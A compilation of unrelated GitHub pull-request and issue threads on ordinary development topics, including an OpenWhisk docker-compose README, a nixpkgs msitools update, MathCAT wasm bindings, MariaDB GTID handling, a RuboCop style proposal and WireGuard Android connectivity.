Point Getting Started to docker-compose

Updates the readme.md to point new people encountering OW to the docker-compose tooling.
Description

Change some links add how to get the docker-compose stuff running quickly.

Related issue and scope

Discussed a fair bit in the slack channel ~ https://openwhisk-team.slack.com/archives/C3TPCAQG1/p1523544305000779
My changes affect the following components

[x] Documentation
[ ] API
[ ] Controller
[ ] Message Bus (e.g., Kafka)
[ ] Loadbalancer
[ ] Invoker
[ ] Intrinsic actions (e.g., sequences, conductors)
[ ] Data stores (e.g., CouchDB)
[ ] Tests
[ ] Deployment
[ ] CLI
[ ] General tooling

Types of changes

[ ] Bug fix (generally a non-breaking change which closes an issue).
[ ] Enhancement or new feature (adds new functionality).
[ ] Breaking change (a bug fix or enhancement which changes existing behavior).

Checklist:

[ ] I signed an Apache CLA.
[ ] I reviewed the style guides and followed the recommendations (Travis CI will check :).
[ ] I added tests to cover my changes.
[ ] My changes require further changes to the documentation.
[ ] I updated the documentation where necessary.

LGTM.  We can decide later about the state of Vagrant.

Would be helpful to also validate if docker compose based setup works fine on Windows or not and see what minimum Windows version is required for this to work

@chetanmeh currently getting a windows VM running so I can check on that for you.

Is there a pending action item here or we can merge this ?

On a fresh system, got one error and some warnings:
cat: /Users/rabbah/tmp/openwhisk/local.env: No such file or directory
...
 [WARNING]: Unable to parse /openwhisk/ansible/environments/local as an inventory source
 [WARNING]: No inventory was parsed, only implicit localhost is available
 [WARNING]: Could not match supplied host pattern, ignoring: all
 [WARNING]: provided hosts list is empty, only localhost is available

system came up cleanly though:
creating the hello.js function ...
invoking the hello-world function ...
adding the function to whisk ...
ok: created action hello
invoking the function ...
invokation result: { "payload": "Hello, World!" }
{ "payload": "Hello, World!" }
 creating an API from the hello function ...
ok: updated action hello
invoking:  http://<IP_ADDRESS>:9090/api/23bc46b1-71f6-4ed5-8c54-816aa4f8c502/hello/world
  "payload": "Hello, World!"
ok: APIs
Action          Verb  API Name  URL
/guest/hello     get    /hello  http://<IP_ADDRESS>:9090/api/23bc46b1-71f6-4ed5-8c54-816aa4f8c502/hello/world
deleting the function ...
ok: deleted action hello

@rabbah  thanks for testing on a fresh system. The WARNING messages from Ansible should be fine b.c ansible usage is limited to configuring the DB. We may consider in the future to build an OW DB image at build time, push it to DockerHub, so that new deployments don't have to re-initialize the DB each time.


msitools: 0.102 -> 0.103

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for msitools is: Set of programs to inspect and build Windows Installer (.MSI) files
meta.homepage for msitools is: https://wiki.gnome.org/msitools
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 0.103 with grep in /nix/store/z0pin5zppg9f3mz3js2iw7xb2j20vccr-msitools-0.103
found 0.103 in filename of file in /nix/store/z0pin5zppg9f3mz3js2iw7xb2j20vccr-msitools-0.103

Rebuild report (if merged into master) (click to expand)

1 total rebuild path(s)

1 package rebuild(s)

First fifty rebuilds by attrpath
msitools

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/z0pin5zppg9f3mz3js2iw7xb2j20vccr-msitools-0.103 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A msitools https://github.com/r-ryantm/nixpkgs/archive/55446ef5abfb46ccf28ef94ba161ec8a0ba7ee1c.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/55446ef5abfb46ccf28ef94ba161ec8a0ba7ee1c#msitools

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/z0pin5zppg9f3mz3js2iw7xb2j20vccr-msitools-0.103
ls -la /nix/store/z0pin5zppg9f3mz3js2iw7xb2j20vccr-msitools-0.103/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

msitools

Maintainer pings
cc @PlushBeaver for testing.

LGTM


fix(curriculum): front end cert update step 2

Checklist:

[x] I have read and followed the contribution guidelines.
[x] I have read and followed the how to open a pull request guide.
[x] My pull request targets the main branch of freeCodeCamp.
[x] I have tested these changes either locally on my machine, or GitPod.

Closes #56307

the title of the project is cat photo app, please change to that so that it is understandable for what project this issue is for

@ilenia-magoni updated title


Remove vertex overrun fix

I don't think this looks right - it doesn't look like the code reads outside the buffer anyway, and this change will make it not copy enough vertices. Are you sure this is correct? Do you have a case where the buffer is over-read?

Sorry, I must have formulated my commit message wrong.
The commit fixed the unneeded vertex copy.

I've not studied the surrounding code that closely but assuming that loop is the only bit responsible for effectively removing the vertex with inded rem, by shuffling everything above it down one, then surely the last vertex isn't going to get copied now? Say you had only two vertices (I know you wouldn't but it's the easiest case to illustrate) and you wanted to remove vertex 0; the loop won't execute at all, nothing will get copied, so after the 'remove' you'll actually be left with just old vertex 0, not old vertex 1. Am I wrong?

Oh, sorry, silly me! I have blindly pulled this change twice, each time just doing the -1.
Of course this one is mistake! Thanks for noticing and pointing!
The correct PR was accepted 2 days ago.

No problem! I was starting to think I'd forgotten C++ for a minute ;)


Update @typescript-eslint to v3

If possible without extra peer dep warnings, updating to eslint@7 would be nice as well

@G-Rath seems I'm unable to actually assign you, so consider this message that 😀

@SimenB I did the upgrade to run lint against the codebase quickly to just get a sense of how much work would be involved, and right now the big one is the adding of Function to the defaults for ban-types.
I'm happy to go through them and have a go at replacing them with a stricter type, but if you could keep an eye out for usage of that type in PRs and ask authors to use a stricter type that would save me some work :)
(I don't expect there to be many, but did notice #10073, which I've put a comment on).

Happy to take a PR adding Function to ban-types without the whole upgrade to v3. Might help landing this a bit iteratively if it's gonna be a big PR?

Totally! Landing iteratively is the way to go - I'll probably go package by package at this point, as there's quite a few uses of Function 😅

@G-Rath now that TS 4 is out (and I'd love to use labeled tuples), any idea how close we are to being able to upgrade?

I'd say this is done via #10437


Add Javascript interface for MathCAT

Currently, MathCATDemo uses a webassembly rust build and wraps stuff around that using whatever interface to it needs. It would be much better to make the interface explicit and then build the demo on that in Javascript.
This would parallel what is done for C, Python, etc.
This should be a relatively easy project. The basics are that for every MathCAT interface function, a Javascript callable function should be defined. This is done via
For example
pub fn set_mathml(mathml_str: String) -> Result<String>

probably wants to have some code like:
#[wasm_bindgen]
pub fn setMathML(mathml: &str) -> Result<String> {
    return libmathcat::set_mathml(mathml);
}

Note that Javascript convention seems to be camelCase whereas rust convention is snake_case. Hence the exposed function is called setMathML and that is what Javascript should call.
Near the top of the file there needs to be
use wasm_bindgen::prelude::*;
use libmathcat::*;

From the little I've read, it seems that the Result<String> return is magically handled by wasm-bindgen and the JavaScript code and if there is an error, standard JS exception handling works.
A good reference is The wasm-bindgen Guide. Among other things, it mentions using how to use webpack to package it all up.

I started a project as an effort to add a Javascript interface. The effort can be found at: https://github.com/brichwin/MathCATForWeb
Is there an existing MathCAT function or public structure that returns supported locales? Something like:
fn get_supported_locales() -> Vec<(&'static str, &'static str)>

I was searching for the equivalent for the MathJax SRE's window.MathJax._.a11y.sre.Sre.locales.forEach((language, isoCode)...

There isn't one, although I could add it. It's a little less clear in MathCAT because there are spoken languages and braille languages. I suspect you want the spoken language. Even then it is a little tricky because (for example), there can be zh-tw and zh-cn. Although they share the same ISO code, they really are separate languages.
From the WASM build, because there is no exposed file system, you can't just look in Rules/Languages to find the dirs. At the moment, the best you can do is to build in a list of ISO codes and call is_dir_shim(path), where path is Rules/Languages/iso-code and see if it returns true or false. Not very efficient, but if you start with ISO code list of size less than 100, it probably won't be noticeably slower.
Note: in the MathCATForPython repo, you can find a list of ISO codes and their mapping to a language in addon\globalPlugins\MathCAT\MathCATPreferences.py. You can look through that list and easily throw out 2/3 of them as not likely to be implemented (e.g, "uz": "Ўзбек" Uzbek).

Maybe this is a task for build.rs; The list not going to change once the wasm is built, so it could build a structure along the lines of:
...("zh-hans", "Chinese, Simplified (简体中文)"),
("zh-hant", "Chinese, Traditional (繁體中文)"),
("zh-tw", "Chinese, Traditional (Taiwan)"),...


gen2-multiple-devices: custom pipelines per device type

Customizes loaded pipeline based on device type: for this simple example, just creates a larger RGB preview size for OAK-D devices (determined by the 3 cameras), vs OAK-1 devices.
Error-out if no devices are found.

Output example for having connected: OAK-1 on USB2, OAK-D on USB3, OAK-1-POE and OAK-D-POE:
Found 4 devices
=== Connected to 14442C10016B5ED700
   >>> MXID: 14442C10016B5ED700
   >>> Cameras: RGB LEFT RIGHT
   >>> USB speed: SUPER
   >>> Loading pipeline for: OAK-D
=== Connected to 14442C10D197AACE00
   >>> MXID: 14442C10D197AACE00
   >>> Cameras: RGB
   >>> USB speed: HIGH
   >>> Loading pipeline for: OAK-1
[<IP_ADDRESS>] [29.087] [system] [warning] Calibration Data on device is empty
=== Connected to <IP_ADDRESS>
   >>> MXID: 14442C1031A3A7D200
   >>> Cameras: RGB LEFT RIGHT
   >>> USB speed: UNKNOWN
   >>> Loading pipeline for: OAK-D-POE
=== Connected to <IP_ADDRESS>
   >>> MXID: 14442C1041D0A7D200
   >>> Cameras: RGB
   >>> USB speed: UNKNOWN
   >>> Loading pipeline for: OAK-1-POE

TODO: update Readme.

Sweet, thanks, both!
@Erol444 - will you be doing the updated Readme/merge/etc.?


Implement listing of users with multiple claims.

Seems stacktrace.txt is an unwanted file. Please remove.


virt-controller: fix sync annotations for existing keys

Signed-off-by: Miguel Duarte Barroso<EMAIL_ADDRESS>
What this PR does / why we need it:
TODO
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #
TODO: open issue
Special notes for your reviewer:
Release note:

After double checking the RFC, I understand add handles the replace case as well: https://www.rfc-editor.org/rfc/rfc6902#section-4.3
Abandoning.


Automated cherry pick of #1479: fix sync openstack hoststorages issue

Cherry pick of #1479 on release/2.9.0.
#1479: fix sync openstack hoststorages issue

Codecov Report

:exclamation: No coverage uploaded for pull request base (release/2.9.0@f439024). Click here to learn what that means.
The diff coverage is n/a.

@@               Coverage Diff               @@
##             release/2.9.0   #1482   +/-   ##
===============================================
  Coverage                 ?   7.69%
===============================================
  Files                    ?     336
  Lines                    ?   53906
  Branches                 ?       0
===============================================
  Hits                     ?    4149
  Misses                   ?   49370
  Partials                 ?     387

Flag
Coverage Δ

#aFlag
7.69% <ø> (?)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f439024...03a68cb. Read the comment docs.

/lgtm
/approve


[T4A6][T10-B3] Kabir Khandpur

Ready for review

Accepting this PR without a review because another of your PRs for this tutorial was reviewed in detail.


client.ListAll() problem

msgs, _, err := client.ListAll() tries to parse not only messages but also the server response
strconv.Atoi: parsing "+OK": invalid syntax
ListAll() needs to check for server response there
lines, err := c.ReadLines()
if err != nil {
	return
}
msgs = make([]int, len(lines), len(lines))
sizes = make([]int, len(lines), len(lines))
for i, l := range lines {
	var m, s int
	fs := strings.Fields(l)
	m, err = strconv.Atoi(fs[0])
	if err != nil {
		return
	}

I'm really no longer maintaining this project. If you can submit a PR, I'll accept. Otherwise I suggest forking.


Why do different frameworks use different flavors of BERT?

Thanks for the amazing repo! I have some quick questions: according to the readme

DM/PSD/UCCA/EDS use cased_L-12_H-768_A-12 (cased-bert-base) and AMR uses wwm_cased_L-24_H-1024_A-16 (wwm-cased-bert-large).

Why does only AMR use (1) wwm, and (2) the large model? Would the other formalism also benefit from at least a larger model? Also, have you tried the more recent pretrained transformers, e.g. RoBERTa? (The AllenNLP master version (or the soon-to-be-released 1.0 version) contains improvements that allow very easy experimentation with different types of pretrained transformers.)

Hi, thank you for your interest in our work!
Because of time and resource constraints, we only tried these two pretrained models during the conll2019. The AMR part is finished by @franklear, and he found the AMR parser benefit from wwm-cased-bert-large. However, in preliminary experiments, I didn't find significant improvement during the development of DM/PSD/UCCA/EDS with the large bert, and it's training unstably.
Moreover, we use the default parameters used in BERT literature. I believe you could reach a better performance via 1)adopting large model and 2)carefully fine-tuning the model hyper-parameters.
We will continue working on this project during conll2020 and try different types of pretrained transformers as you said.
Best,
Longxu

I see. Thanks for sharing the insights!


Add logging to diagnose RateThrottler memory leak

Coverage decreased (-0.8%) to 67.073% when pulling ad91cfe26b39a8ad6fb806d58b80c9d0dd3aa7e0 on ni-kismet:add-logging into 481f70210787fc2cae60f18b6da723ce2fa1db04 on ExHammer:master.


updated readme

coverage: 90.792%. remained the same
when pulling df59bf97e2e54bbcbd6634055de0904261326cc3 on readme
into f03b6de76f7c33849d3ec9996b37e45cd479b2e0 on main.


Bootstrapping a specific version cannot load theme's CSS

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8" />
	<title></title>
    <script
        id='sap-ui-bootstrap'
        type='text/javascript'
        src='https://openui5.hana.ondemand.com/1.28.15/resources/sap-ui-core.js'
        data-sap-ui-libs="sap.m,sap.ui.commons"
        data-sap-ui-theme="sap_goldreflection">
    </script>
</head>
<body onload="console.info(sap.ui.version);">
</body>
</html>

produces
GET https://openui5.hana.ondemand.com/1.28.15/resources/sap/m/themes/sap_goldreflection/library.css 404 (Not Found) [sap-ui-core.js:80]

Hi Bastian,
as you can see here: https://github.com/SAP/openui5/tree/master/src/themelib_sap_goldreflection, the Gold Reflection theme is not available for the sap.m controls.
The file SEEMS to be there in the unversioned deployment: https://openui5.hana.ondemand.com/resources/sap/m/themes/sap_goldreflection/library.css
but this is not the real thing: this unversioned deployment of the latest state is a Java application with some additional server-side logic. This logic falls back to the "base" theme if the requested theme does not exist. (The "base" theme is some rudimentary CSS that is common to all themes, but it is not meant to look good or to be actually used.)
Even this theme seems to exist, due to this fallback:
https://openui5.hana.ondemand.com/resources/sap/m/themes/this_theme_did_never_exist_and_is_still_there/library.css
So even if you go to the unversioned URL and try using sap.m controls with Gold Reflection, they would look ugly.
So there is nothing wrong, you just try to use something that does not exist and that SEEMS to exist in some cases.
Regards
Andreas


exclude cat in client/config/admin/portal test

Coverage decreased (-1.0%) to 48.751% when pulling 4b1234df41124c2aca7d412ad259a8c1e81db80b on yiming187:cat_update into 5483c43f10eb6a7978805925acfe105dcac19275 on ctripcorp:master.


add serverID to Mariadb GTID set

ref https://github.com/pingcap/tiflow/issues/10741

And you add some tests and comments to explain what's the new behaviour?

And you add some tests and comments to explain what's the new behaviour?

I fixed some existed test case just now https://github.com/go-mysql-org/go-mysql/pull/852/commits/494cb565c3559461401f3042e6b53634559ccca3
We can compare the behavior before and after by those examples.
Before

1-2-1 equals to 1-3-1. They have the same domain id but different server id
1-2-3 is grater than 1-3-1. Because their domain id is equal and sequence number is different.

Suppose there is a scenario where the user uses the same domain id and sets gtid_strict_mode=OFF. In this case, deploy multi-source synchronization of A->C and B->C. The domain ids of A and B are the same, and we cannot compare the gtid from A and B on the C machine. We can only isolate them by server id

@okJiang i don't understand why this library needs to care about server ID. In MariaDB's source code, server ID is simply ignored when comparing https://github.com/MariaDB/server/blob/9e7afa7782314e9c5a3b3276963110d18287b783/sql/rpl_gtid.h#L54-L64 .

Before

1-2-1 equals to 1-3-1. They have the same domain id but different server id
1-2-3 is grater than 1-3-1. Because their domain id is equal and sequence number is different.

And in your example, no matter before or after, 1-2-1 always equals to 1-3-1 and 1-2-3 is greater than 1-3-1

And in your example, no matter before or after, 1-2-1 should be a bug if there's 1-3-1

Is there such a scenario?
A master-slave replication: server2(master) -> server3(slave).

Server3 execute a SQL, whose gtid is 1-3-1.
As for server2(master), it is not aware of the slave's operation. So server2(master) execute a SQL too, whose gtid is 1-2-1
Due to the gtid_strict_mode disable, 1-2-1 is synced from server2 to server3. So the 1-3-1, 1-2-1 exist in server2 at the same time.

I see your reference in tiflow's issue http://youdidwhatwithtsql.com/behavior-gtidstrictmode-mariadb/2089/ . There can exist  1-1-2152 and 1-2-2152 in that example.
https://mariadb.com/kb/en/gtid/#gtid_strict_mode says "Global transaction ID is designed to work correctly even when strict mode is not enabled.", so I thinnk we can learn MariaDB's behaviour on what should replication do when meets an out-of-order event.

Sorry I'm not familiar enough with the source code of mariadb. Seems it reports some warnings and ignore it.  https://github.com/MariaDB/server/blob/9e7afa7782314e9c5a3b3276963110d18287b783/sql/rpl_gtid.cc#L3479-L3508

Sorry I'm not familiar enough with the source code of mariadb. Seems it reports some warnings and ignore it. https://github.com/MariaDB/server/blob/9e7afa7782314e9c5a3b3276963110d18287b783/sql/rpl_gtid.cc#L3479-L3508

If this is the case, there may be unanticipated behavior to our product because DM exists heavy reliance on binlog order. Ref https://github.com/pingcap/tiflow/issues/10741#issuecomment-1990948130 .
So I hope to find a moderate way to solve this problem. Of course, I don’t want to break the rules and compatibility of mariadb.

cc @lance6716

ping @lance6716


Update wanted list

Added Saki (H. H. Munro). Most of his collections should be beginner friendly productions. It is quite likely an omnibus Short Fiction may be called for, to collect the rest of his short stories, or any non-overlapping collections that might be too short to be published on their own (Reginald, Reginald in Russia). Lots of posthumous material too.

How do you feel if I add Saki short stories and novels to moderate difficulty section and submit a PR?

Sure!

Made another PR for Saki


⚠ Bofrost.lu has degraded performance

In f06df29, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 2031 ms

Resolved: Bofrost.lu performance has improved in 443601e after 6 minutes.


[Bug]: Cannot connect to Web3Auth module, Invalid hooks call

Current Behavior
There's an issue on connecting with web3auth module, there's an error log of
Uncaught Error: Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:
1. You might have mismatching versions of React and the renderer (such as React DOM)
2. You might be breaking the Rules of Hooks
3. You might have more than one copy of React in the same app
See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.

Expected Behavior
No response
Steps To Reproduce
No response
What package is effected by this issue?
@web3-onboard/web3auth
Is this a build or a runtime issue?
N/A
Package Version
2.1.4
Node Version
No response
What browsers are you seeing the problem on?
No response
Relevant log output
Uncaught Error: Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:
1. You might have mismatching versions of React and the renderer (such as React DOM)
2. You might be breaking the Rules of Hooks
3. You might have more than one copy of React in the same app
See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.

____
The above error occurred in the <Modal> component:

    at Modal

Anything else?
No response
Sanity Check

[X] If this is a build issue, I have included my build config. If this is a runtime issue, I have included reproduction steps and/or a Minimal, Reproducible Example.

@slotZero01 thanks for reporting.
Can you please provide more info, like what is th version of the @web3-onboard core/react/vue package you are using?
What framework are you using?

this is all the web3 onboard library that I'm using
   "@web3-onboard/coinbase": "^2.2.0",
    "@web3-onboard/core": "^2.15.5",
    "@web3-onboard/injected-wallets": "^2.7.0",
    "@web3-onboard/react": "^2.6.2",
    "@web3-onboard/walletconnect": "^2.3.2",
    "@web3-onboard/web3auth": "^2.1.4",

I'm using React V17, the issue only happens when I connect to Web3Auth, the other modules are working properly

@slotZero01 that is helpful, thank you!
FYI You shouldn't need "@web3-onboard/core" if you are using "@web3-onboard/react" as the react package wraps and delivers core packages. May help with package weight and avoiding any future misalignments of core versioning if that were to ever happen. I would recommend removing "@web3-onboard/core" from your package.json
I will get a web3auth audit into our backlog

@slotZero01 please have a look here at the official web3Auth docs - https://web3auth.io/docs/troubleshooting/webpack-issues#react

No, it's not a webpack issue, that's a compilation issue that I already resolved according to their docs. This is a runtime issue where I cannot connect when clicking to web3Auth button

We have updated the web3Auth package to the latest version of the deps and is available at version 2.2.0-alpha.1 Please give this a test.

I got a different error, Class extends value undefined is not a constructor or null

@slotZero01 we have this working on a react demo example. Can you please have a look here: https://github.com/blocknative/react-demo/tree/develop and let me know if you find any mis-alignments


github/dependabot: Chaos incoming for Node.js module upgrades as Yarn v2+ isn't supported

Notice to all maintainers
Please DO NOT MERGE any PRs @dependabot generated for upgrading Node.js packages, as this might break the lock file and it might also not update the pnp.cjs file.
Currently Blocking Issues

[ ] https://github.com/dependabot/dependabot-core/issues/4106

Holy crap, wrong issue linked! Lemme fix it real quick.


Fix typographical error

@rajeem this PR doesn't seem to be doing any work. Do you want to close it?

The typo was fixed in 464e18d3223905018e391790e0db80c42eea7252, so I'll close this PR.


fast nD MGC

this paper tells us how to do it for n-dimensions, though now it is an approximation:
https://arxiv.org/abs/1701.06054

https://github.com/neurodata/mgcpy/blob/4daf0ab90f421b52f04c387ad2d462a8f287ad49/mgcpy/independence_tests/mgc.py#L114


Fixed error when duplicating node with signal from editor.

Fixed error when duplicating node with signal from editor.
Fixes #22664

Thanks!


Show only the year and month in the MaterialDateRangePicker

Would you can add functionality to only show both of the year and month not the day in the MaterialDateRangePicker?

This is very nice and can be built as a custom use case.


Fire event when syncDirtyAndDestroyed is finished

This is a great extension, however there are times when it would be super convenient to know when syncDirtyAndDestroyed was done.
In particular I need to load the models from localstorage, then push the pending changes to the server, then download updates from the server.
I've created a little patch that does that. This is kinda hacky and doesn't completely cover all the corner cases, but it's at least a starting point.
I've added the following to the top of the syncDirtyAndDestroy method:
   var that = this;
    options = options || {};
    var numChanges = 0;
    var numCalls = 0; // we are expecting two
    options.success = options.error = function() {
      numChanges --;
      if(numChanges === 0) {
        that.trigger('sync:localstorage');
      }
    };
    this.on('localstorage:numchanges', function(count) {
      numCalls ++;
      numChanges += count;
      if(numChanges === 0 && numCalls == 2) {
        that.trigger('sync:localstorage');
      }
    });

I've inserted this in both the syncDestroyed and syncDirty methods just before the for loop:
this.trigger('localstorage:numchanges', ids.length);

Now I can bind to sync:localstorage to be notified when everything is finished.

I agree with you that this would be a very useful feature. The good news is that this will be built into the future version 2.0 (and currently the not-yet-production-ready async branch). The bad news is that no one is actively working on that feature at the moment.
In the async branch and later in 2.0, syncDirtyAndDestroyed will return a jQuery promise, so you will be able to do this:
myCollection.syncDirtyAndDestroyed().then(function() {
  // do something when it's done
});

I will post here when that does eventually happen.


Why does the DataLakeServiceClient not support connection strings when all other clients do?

Describe the bug
The overloads for the DataLakeServiceClient does not have an overload that accepts a connection string.
All the other clients (.e.g. BlobContainerClient) do have a connection string overload.
Expected behavior
Expose an overload for the DataLakeServiceClient constructor that accepts a connection string.
Actual behavior (include Exception or Stack Trace)
You currently only have the option of using a URI. This requires the setting up of additional IAM permissions and is inconsistent with the other providers.
Environment:

Azure.Storage.Files.DataLake, Version=<IP_ADDRESS>

Thank you for your feedback.  Tagging and routing to the team best able to assist.

This is tagged incorrectly @jsquire I'm referring to Data Lake Storage Gen 2 not Gen 1 :)

Thanks, @sonic1981.   My mistake during selection; the good news is that it routes to the same team.   :smile:

any updates?

Would it be possible to make the StorageConnectionString public, this way users could pull in Azure.Storage.Common and call
public static StorageConnectionString Parse(string connectionString)

Then pass the required results to the DataLakeClient?

This still hasn't been looked at by anyone

Hi @sonic1981, we deeply appreciate your input into this project. Regrettably, this issue has remained inactive for over 2 years, leading us to the decision to close it. We've implemented this policy to maintain the relevance of our issue queue and facilitate easier navigation for new contributors. If you still believe this topic requires attention, please feel free to create a new issue, referencing this one. Thank you for your understanding and ongoing support.


fix: Change questions components styles according to the newest design. Add description props to UiQuestion template.

1. Add description props to UiQuestion template.

UiQuestion - fix spacings

3. Fixed border radius on Tile component - use new token.

Fixed UiList paddings on mobile. Fix spacings on UiMultipleAnswer and UiMultipleChoice

splited to
#264
#265
#266
#267
#268


Evaluate testcases in parallel

Signed-off-by: Mateusz Zalega<EMAIL_ADDRESS>

If you run make -jN test it should already run all those "sub-makes" with -jN via MAKEFLAGS. There shouldn't be any need to pass -jN explicitly to the sub-makes.
Actually it might even hurt to have that in there because we don't want to overwrite the number of jobs the user has specified on the top-level make. (I'm not sure how specifying an explicit -j option in a sub-make affects the make job-server mechanism.)

@cliffordwolf OK, I didn't see that 'test' target in the top-level makefile.


.env error

I got this error when try to run the project on iPhone 16
No file or variants found for asset: .env.
I created the .env in root then I got this error
Launching lib/main.dart on iPhone 16 Plus in debug mode...
Xcode build done.                                           29.0s
Connecting to VM Service at ws://<IP_ADDRESS>:59517/LQBukPrCBSE=/ws
Connected to the VM Service.
[log] Connectivity registered
[log] AudioPlayer registered
[log] VolumeController registered
[log] Dio registered
[log] ImagePicker registered
[log] FlipCardController registered
[log] OnAudioQuery registered
[log] ScrollController registered
[log] YouTubeDataRepository registered
[log] Floating registered
[log] Locator initialized
[log] Initializing Hive

I apologize for the inconvenience. This project is not fully compatible with iOS and is currently deprecated, as alternative solutions with advanced features are coming soon. Lofiii 2.0 will be released shortly.


Rule proposal: Ban postfix conditionals

I'd like to ban postfix conditionals. I didn't see anything like that in the rule set.
These would be autofixed:
# bad
foo if bar
# good
if bar
  foo
end

# bad
i += 1 while foo
# good
while foo
  i += 1
end

The former is the inverse of IfUnlessModifier and the latter is the inverse of WhileUntilModifier

PRs welcome. :-)

A more descriptive issue title would probably be welcome as well for the maintainers' sake.

@jawshooah sorry, I was expecting a slower response :) I'll bais more toward getting a better initial Issue for rubocop. Thanks.

I think that foo if bar is fine until it the condition or the thing being modified becomes more complex, for example foo and bar if baz || plugh.  My reasoning is that the cognitive load goes up as you need to remember precedence and mentally break things down in the complex case, but a simple foo unless bar is a useful concise idiom.
If there were to be a cop for "banning" postfix modifiers then please consider letting the default be to allow simple ones and have complete or no prohibition settings too.

@ptarjan I support the idea (although I personally love modifier expressions).

The latter is the inverse of WhileUntilModifier.

And the former is the inverse of IfUnlessModifier. I think it makes sense to do the implementation in existing cops by introducing configuration like
Style/IfUnlessModifier:
  MaxLineLength: 80
  # The `modifier` style prefers modifier over the non-modifier form if the
  # modifier form of the expression fits on a line that's no longer than
  # `MaxLineLength`. The `no_modifier` style always prefers the non-modifier
  # form.
  EnforcedStyle: modifier
  SupportedStyles:
    - modifier
    - no_modifier

(Feel free to improve the wording of the comment!)

allow simple ones

Can of worms, @mikestok. What is simple? That's going to keep us busy for a while.

@jonas054 I agree, and I think that the line length as a proxy for complexity works.
My idea about simple was that the condition is limited to a single variable or method call.

I think allowing only a single variable or method call is rather draconian, but maybe some people would prefer that. This doesn't look too complicated to me:
exit if aborted? || finished?

Originally my idea for this cop was similar - to be able to pick whether to use this only for simple conditions or all conditions. In my mind a simple condition was something (e.g. comparison or a boolean operation) with no more than 2 terms.

Same goes for the postfix notation.

Probably getting a bit too complex here, but could we perhaps extract some of the complexity calculation logic from AbcSize or similar and apply to postfix conditionals?

+1 for an option to not allow && or || in postfix conditionals

+1 for this.
Postfix conditionals look pretty, but they artificially inflate code coverage and hide untested cases.

Late to the party, but I wouldn't mind seeing the ability to warn on multi-line blocks that contain postfix conditionals:
[].map do |foo|
  puts foo
end if bar?

@l8nite: This should already be covered by Style/MultilineIfModifier.

@Drenmi Thanks! You're right. I had checked locally to see if that was the case, but I was on a pretty old version of rubocop. Once I updated, the cop started alerting.

There hasn't been much activity on this ticket and our Core Team is spread too thin on so many tasks, so I'll just close it for the sake of having a cleaner lists of tasks to focus on. We'd gladly review a PR, but it's unlikely that'd we're going to tackle this ourselves in the foreseeable future.


[BUG] - VPN loses connectivity

Describe the bug
VPN loses connectivity periodically
Smartphone (please complete the following information):

Device: Pixel 8 Pro
Android Version: 14
App Version: 3.3.5

To Reproduce
Steps to reproduce the behavior:
VPN will lose connectivity every now and then.  I'm not sure what triggers the loss in connectivity.  Stopping and stating the VPN will immediately restore connectivity.
Expected behavior
A clear and concise description of what you expected to happen.
The VPN used to always keep connectivity.  All other devices stay connected.  (iOS, desktop)
Screenshots (Only if necessary)
Additional context
Add any other context about the problem here.

I tested the official wireguard app, and it has the same issue.
It still only seems to affect Android devices.

I tested the official wireguard app, and it has the same issue.
It still only seems to affect Android devices.

Thank you for this additional information. I am guessing this is the same DNS issue as has been commonly reported with both WireGuard's official app and this app (both apps use the same wireguard official core library). I'm currently brainstorming a few ways around this issue.

It does seem to be quite a common issue.  When I first started using wireguard (and your app) it was flawless.  I unfortunately cannot think of what changed.
I did add "25" to the persistent keep alive which seems to fix the issue.  However it does say it's "not recommended.". Does using persistent keepalive leak your IP somehow?

It do not think it leaks IP. It seems it just goes against WireGuard's silent protocol methodology. It is necessary for peers behind NAT and firewalls though. For more information, read here.

There is a somewhat lengthy but useful dialog here about connectivity issues around DNS. To help mitigate connectivity issues, I've added a ping feature to auto tunneling that will attempt to restart the tunnel if pinging the server fails. It is a pretty rudimentary implementation/solution for now, but I hope to make it more robust in the future. I'll mark this one as closed for now with the release of 3.3.9 that has this ping feature.

There is a somewhat lengthy but useful dialog here about connectivity issues around DNS. To help mitigate connectivity issues, I've added a ping feature to auto tunneling that will attempt to restart the tunnel if pinging the server fails. It is a pretty rudimentary implementation/solution for now, but I hope to make it more robust in the future. I'll mark this one as closed for now with the release of 3.3.9 that has this ping feature.

Does that need auto-tunneling turned on to work? In my use case, I want the tunnel always active and its unclear if autotunelling would allow that (and I'd like that autorestart feature)

Ah! I did not realize the auto-tunneling restrictions would not allow this feature to be used with AOVPN. Right now, it is purely an auto-tunneling feature, but it would be a very small change to make this work with AOVPN as well. I'll reopen this issue to get this added.

@zaneschepke Thank you so much for your work!
Having this implemented for always-on would be amazing :)

@zaneschepke Thank you so much for your work! Having this implemented for always-on would be amazing :)

The ping feature is now allowed to work with AOVPN in the latest nightly version. You just have to only enable the ping feature and then start auto tunneling and it will monitoring the ping results and restart the tunnel if needed.
If you enable block connections with this, your phone will likely not be able to re-resolve the dns when the tunnel is restarted so I would advice against this as that would defeat the purpose of the ping feature.
